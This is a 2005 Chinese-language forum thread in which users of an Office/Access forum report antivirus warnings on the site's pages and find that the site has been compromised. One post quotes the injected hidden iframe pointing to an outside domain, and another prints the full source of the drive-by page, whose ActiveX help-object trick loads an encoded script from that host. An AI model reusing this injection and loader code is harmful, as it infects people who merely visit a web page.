Office中国论坛/Access中国论坛

标题: 论坛网页上有病毒？ [打印本页]
作者: LucasLynn    时间: 2005-7-6 02:03
标题: 论坛网页上有病毒？
每次看论坛金山毒霸就不停报告有病毒，快烦死了……



病毒名是：VBS.Phel.c

文件名是：sp2.htm

病毒名是：JS.Twgirl

文件名是：bbs003302.gif

[此贴子已经被作者于2005-7-7 21:11:54编辑过]

作者: yelang771    时间: 2005-7-6 02:08
恩。。没开一个业面多会提示下，还出现另外两个 提示画面。。。so,每开一个业面，我得多点3次鼠标。。
作者: zhuyiwen    时间: 2005-7-6 06:05
你改用NORTON试试是否报警？我的感觉是杀毒软件误报！
作者: 风筝    时间: 2005-7-6 06:10
已有很多用户提出发现病毒了。我这里的毒霸也有提示。
作者: 风筝    时间: 2005-7-6 06:12
金山毒霸、瑞星杀毒、江民kv都提示有病毒呢！
作者: 三山客    时间: 2005-7-6 06:23
每次点击都

[attach]11698[/attach]

作者: lzx-shmily    时间: 2005-7-6 23:45
我这里也有这种情况，每开一网页就报一次
作者: xsm361    时间: 2005-7-7 01:52
警报!真的是病毒耶,Virus_Scan同样报告.请快想办法.
作者: tase    时间: 2005-7-7 02:05
网站已被攻破。每个页面都有<iframe src='http://www.cnd1.com.cn/sp2.htm' width=0 height=0></iframe>
作者: fs_jin    时间: 2005-7-7 02:15
我的也是这样.
作者: LucasLynn    时间: 2005-7-7 02:28
以下是引用zhuyiwen在2005-7-5 22:05:00的发言：



你改用NORTON试试是否报警？我的感觉是杀毒软件误报！

不是误报，我看了被隔离的文件，确实是病毒代码。
作者: newofficer    时间: 2005-7-7 03:00
norton是不报，但一般打开页面时，会有一个帮助窗口闪一下，不知道是怎么回事。
作者: LucasLynn    时间: 2005-7-7 03:10
这是病毒源码，

<SCRIPT language=VScript src="bbs003302.gif"></SCRIPT>

<SCRIPT language=VScript src="bbs003302.css"></SCRIPT>

<HTML>

<BODY>

<div style="display:none">

<OBJECT id="cctv" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">

<ARAM name="Command" value="Related Topics, MENU">

<ARAM name="Window" value="$global_ifl">

<ARAM name="Item1" value='command;file://C:\WINDOWS\Help\apps.chm'>

</OBJECT>

<OBJECT id="zgds" type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">

<PARAM name="Command" value="Related Topics, MENU"><PARAM name="Window" value="$global_ifl">

<PARAM name="Item1" value='command;javascript:eval("document.write(\"<SCRIPT language=JScript src=\\\"[url=http://www.cnd1.com.cn/bbs003302.gif///"/"+String.fromCharCode(62)+/"</SCR/"+/"IPT/"+String.fromCharCode(62))")']http://www.cnd1.com.cn/bbs003302.gif\\\"\"+String.fromCharCode(62)+\"</SCR\"+\"IPT\"+String.fromCharCode(62))")'[/url]>

</OBJECT>

</div>

<SCRIPT>cctv.Click();setTimeout("zgds.Click();",0);</SCRIPT>

</BODY>

</HTML>



其中bbs003302.gif实际上是Encode的JS代码
作者: wangxuefeng    时间: 2005-7-8 01:02
我用的 是 norton ,也提示病毒。大家快跑呀，病毒来了。
作者: 静儿    时间: 2005-7-8 01:58
既然已被查出并删除，那它就不会感染系统了，有免疫力就不怕感冒。呵呵
作者: LucasLynn    时间: 2005-7-8 03:03
以下是引用静儿在2005-7-7 17:58:00的发言：

既然已被查出并删除，那它就不会感染系统了，有免疫力就不怕感冒。呵呵

但是每开一个网页要弹两个病毒警告框，你不觉得很烦？

至少我觉得……
作者: yelang771    时间: 2005-7-8 03:50
ft﹐俺的是三個。。。繁死。。。
作者: wuaza    时间: 2005-7-8 05:31
反正近期我是不敢再来了。
作者: YXY123    时间: 2005-7-8 14:34


警报!真的是病毒耶
作者: mrl    时间: 2005-7-9 05:13
点解我的金山毒霸6没有响警报
作者: eyewitnes    时间: 2005-7-9 16:29
因为已经杀左



欢迎光临 Office中国论坛/Access中国论坛 (http://www.office-cn.net/) Powered by Discuz! X3.3